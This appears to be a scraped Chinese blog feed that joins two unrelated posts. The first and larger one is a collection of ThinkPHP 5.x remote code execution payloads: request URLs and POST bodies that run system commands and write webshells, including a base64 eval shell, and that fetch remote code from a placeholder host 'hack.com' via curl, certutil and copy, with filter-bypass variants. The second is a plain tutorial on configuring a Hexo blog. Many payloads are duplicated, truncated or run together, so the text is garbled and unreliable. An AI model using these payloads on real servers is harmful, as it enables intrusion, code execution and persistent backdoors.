1 | http://test.com/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=2.php&vars[1][1]=/*1111*//***/file_put_contents/*1**/(/***/'index11.php'/**/,file_get_contents(/**/'https://www.hack.com/xxx.js'))/**/;/**/ |
1 | POST |
getshell
1 | POST |
1 | POST |
getshell
1 | POST |
http://test.com/public_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo_method=__construct&method=get&filter[]=call_user_func&get[0]=phpinfo&get[1]=1c=system&f=calc&_method=filter
写入文件
http://wtest.com/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=uploads/1.php&vars[1][]=<?php ?>
直接用菜刀连
http://test.com/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_POST[1])
getshell
POSTs=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
test.com/?s=index/index
POSTs=whoami&_method=__construct&method=POST&filter[]=systemaaaa=whoami&_method=__construct&method=GET&filter[]=system_method=__construct&method=GET&filter[]=system&get[]=whoamic=system&f=calc&_method=filter
写shell
POSTs=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=asser
post提交
http://test.com/public/index.php?s=index/index/indexs=whoami&_method=__construct&method&filter[]=syste
http://test.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=curl https://www.hack.com/xxx.js -o ./upload/xxx.ph
test.com/?s=index/index
posts=whoami&_method=__construct&method=POST&filter[]=systemaaaa=whoami&_method=__construct&method=GET&filter[]=system_method=__construct&method=GET&filter[]=system&get[]=whoamic=system&f=calc&_method=filter
写shell
POSTs=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
post提交
test.com/?s=index/indexs=whoami&_method=__construct&method=POST&filter[]=systemaaaa=whoami&_method=__construct&method=GET&filter[]=system_method=__construct&method=GET&filter[]=system&get[]=whoamic=system&f=calc&_method=filter
写shell
POSTs=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
补充
有captcha路由时无需debug=true
POST _method=__construct&filter[]=system&method=GET
1、常规命令
?s=index/think\app/invokefunction&function=&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php.jpg&vars[1][]=%3C?php%20phpinfo();?3E
2、eval('')和assert('')被拦截,命令函数被禁止
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo();http://www.xxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_GET[1])&1=call_user_func_array("file_put_contents",array("3.php",file_get_contents("https://www.hack.com/xxx.js")));
3、基于php7.2环境下
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=1.txt&vars[1][1]=1http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index111.php',file_get_contents('https://www.hack.com/xxx.js'));?>写进去发现转义了尖括号
4、通过copy函数
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][0]= https://www.hack.com/xxx.js&vars[1][1]=112233.ph
posts=whoami&_method=__construct&method=POST&filter[]=systemaaaa=whoami&_method=__construct&method=GET&filter[]=system_method=__construct&method=GET&filter[]=system&get[]=whoamic=system&f=calc&_method=filter
写shell
POSTs=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
有captcha路由时无需debug=true
POST _method=__construct&filter[]=system&method=GET
posts=whoami&_method=__construct&method=POST&filter[]=systemaaaa=whoami&_method=__construct&method=GET&filter[]=system_method=__construct&method=GET&filter[]=system&get[]=whoamic=system&f=calc&_method=filter
写shell
POSTs=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
有captcha路由时无需debug=true
POST _method=__construct&filter[]=system&method=GET
写shell
posts=file_put_contents('/绝对路径/test.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWydhYWFhJ107ZXZhbCgkcGFzcyk7Pz4'))&_method=__construct&filter=assert 密码aaaa
直接菜刀连
http://wtest.com/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_POST[1])
POST s=whoami&_method=__construct&method=POST&filter[]=systemaaaa=whoami&_method=__construct&method=GET&filter[]=system_method=__construct&method=GET&filter[]=system&get[]=whoamic=system&f=calc&_method=filter
写shell
POSTs=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
有captcha路由时无需debug=true
POST _method=__construct&filter[]=system&method=GET
1、windows
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=1http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo()
2、使用certutil
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=passthru&vars[1][0]=cmd /c certutil -urlcache -split -f https://www.hack.com/xxx.js uploads/1.php
由于根目录没写权限,所
POST s=whoami&_method=__construct&method=POST&filter[]=systemaaaa=whoami&_method=__construct&method=GET&filter[]=system_method=__construct&method=GET&filter[]=system&get[]=whoamic=system&f=calc&_method=filter
写shell
POSTs=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
有captcha路由时无需debug=true
POST _method=__construct&filter[]=system&method=GET
POST s=whoami&_method=__construct&method=POST&filter[]=systemaaaa=whoami&_method=__construct&method=GET&filter[]=system_method=__construct&method=GET&filter[]=system&get[]=whoamic=system&f=calc&_method=filter
写shell
POSTs=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
有captcha路由时无需debug=true
POST _method=__construct&filter[]=system&method=GET
1、poc
http://0-sec.org/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
2、poc
http://0-sec.org/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
3、poc
http://0-sec.org/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['fuck']);&fuck=system("whoami");
4、poc
http://0-sec.org/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['fuck']);&fuck=eval($_POST[ian])
1、poc
http://0-sec.org/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
2、poc
http://0-sec.org/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=
POST /index.php?s=captcha HTTP/1.1Host: yuoripAccept-Encoding: gzip, deflateAccept: */* Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 72_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
1、常规poc
http://www.xxxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index_bak2.php',file_get_contents('https://www.hack.com/xxx.js'));?>
2、所有目录都无写入权限,base64函数被拦截
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_POST[1]
1、代码执行
http://test.com/?s=index/\think\Request/input&filter=phpinfo&data=1http://test.com/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1http://test.com/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
2、命令执行
http://test.com/?s=index/\think\Request/input&filter=system&data=操作系统命令http://test.com/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令http://test.com/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令
3、文件写入
http://test.com/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3Ehttp://test.com/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3
以上资源来源与互联网,如有侵权,请邮箱联系我,及时删除。
]]>md文件也就是Markdown
文件,通过以下命令来创建:
1 | hexo new <title> |
1 | hexo new [layout] <title>$ hexo new page "我的页面" |
post
(文章)、draft
(草稿)、page
(页面)在新建文件时,Hexo 会根据 scaffolds
文件夹内相对应的文件(可以理解为模板)来建立md文件:
draft
这种布局在建立时会被保存到 source/_drafts
文件夹中,但不会显示在页面上,如果我们不想某一篇文章显示在页面上,那么就可以把它移动到_drafts
文件夹中。
--draft
参数来查看草稿。1 | hexo server --draft |
render_drafts
参数设为 true
来预览草稿。publish
命令将草稿发布文章或者页面,它将会被移动到指定的文件夹。1 | hexo publish [layout] <title> |
在对应文章对 front-matter
(文章文件最上方以 ---
分割对区域,是用来指定个别文件的配置变量区域)中添加description
变量,其中description
变量设置的内容就会被显示在首页上门,其余的文案一律不显示。配置如下:
1 |
|
这一种方法是需要自己写概述,所以比较费事,于是就有了第二种方法。
这种方法只需要在对应的文章里,想要展示的文章后添加以下标签就可以了
1 | <!--more--> |
然后首页就会显示在这个标签以上的所有内容,隐藏文章下面的所有内容。
配置选项 | 默认值 | 描述 |
---|---|---|
title | Markdown 的文件标题 | 文章标题,强烈建议填写此选项 |
date | 文件创建时的日期时间 | 发布时间,强烈建议填写此选项,且最好保证全局唯一 |
author | 根 _config.yml 中的 author | 文章作者 |
img | featureImages 中的某个值 | 文章特征图,推荐使用图床(腾讯云、七牛云、又拍云等)来做图片的路径.如: http://xxx.com/xxx.jpg |
top | true | 推荐文章(文章是否置顶),如果 top 值为 true ,则会作为首页推荐文章 |
cover | false | v1.0.2 版本新增,表示该文章是否需要加入到首页轮播封面中 |
coverImg | 无 | v1.0.2 版本新增,表示该文章在首页轮播封面需要显示的图片路径,如果没有,则默认使用文章的特色图片 |
password | 无 | 文章阅读密码,如果要对文章设置阅读验证密码的话,就可以设置 password 的值,该值必须是用 SHA256 加密后的密码,防止被他人识破。前提是在主题的 config.yml 中激活了 verifyPassword 选项 |
toc | true | 是否开启 TOC,可以针对某篇文章单独关闭 TOC 的功能。前提是在主题的 config.yml 中激活了 toc 选项 |
mathjax | false | 是否开启数学公式支持 ,本文章是否开启 mathjax ,且需要在主题的 _config.yml 文件中也需要开启才行 |
summary | 无 | 文章摘要,自定义的文章摘要内容,如果这个属性有值,文章卡片摘要就显示这段文字,否则程序会自动截取文章的部分内容作为摘要 |
categories | 无 | 文章分类,本主题的分类表示宏观上大的分类,只建议一篇文章一个分类 |
tags | 无 | 文章标签,一篇文章可以多个标签 |
keywords | 文章标题 | 文章关键字,SEO 时需要 |
reprintPolicy | cc_by | 文章转载规则, 可以是 cc_by, cc_by_nd, cc_by_sa, cc_by_nc, cc_by_nc_nd, cc_by_nc_sa, cc0, noreprint 或 pay 中的一个 |
只有文章(post布局)支持分类和标签,需要在Front-matter
中设置。分类有层级关系,标签没有。
举个例子:
1)下面文章它的标签是:Hexo、博客
2)分类是: 个人博客 > Hexo博客
3)“Hexo博客” 是 “个人博客” 的子分类
1 | categories: |
1)下面文章属于三个分类:日常 > 生活,日常 > 随想,日记
2)其中生活、随想为日常的子分类,日常和日记为同级分类
1 | categories: |
hexo clean
hexo generate
可简写为 hexo g
hexo server
或者 hexo s
常用参数:-p(--port)
重设端口hexo deploy
可简写为hexo d
,用于将网站部署到服务器上。(暂时用不到,目前都是在本地,后面我们将博客托管到GitHub Pages
或Gitee Pages
时才会用到此命令)-g(--generate)
,hexo d -g
部署前预先生成静态文件,等同于 hexo g -d
发布文章或者修改博客后执行流程:
清除缓存>生成静态文件>启动服务器,测试没问题后再部署。
1 | // 我们可以写成一条命令 |
是根目录下的 _config.yml
的配置文件
搜索
1 | post_asset_folder:true |
在博客根目录下,安装插件
1 | npm install https://github.com/CodeFalling/hexo-asset-image --save |
然后可以将typora的路径改为
1 | ./${filename} |
修改成功后
1 | hexo clean && hexo g && hexo s |
创建文章会在 source/_posts
目录下创建同名文件夹和同名的.md 文件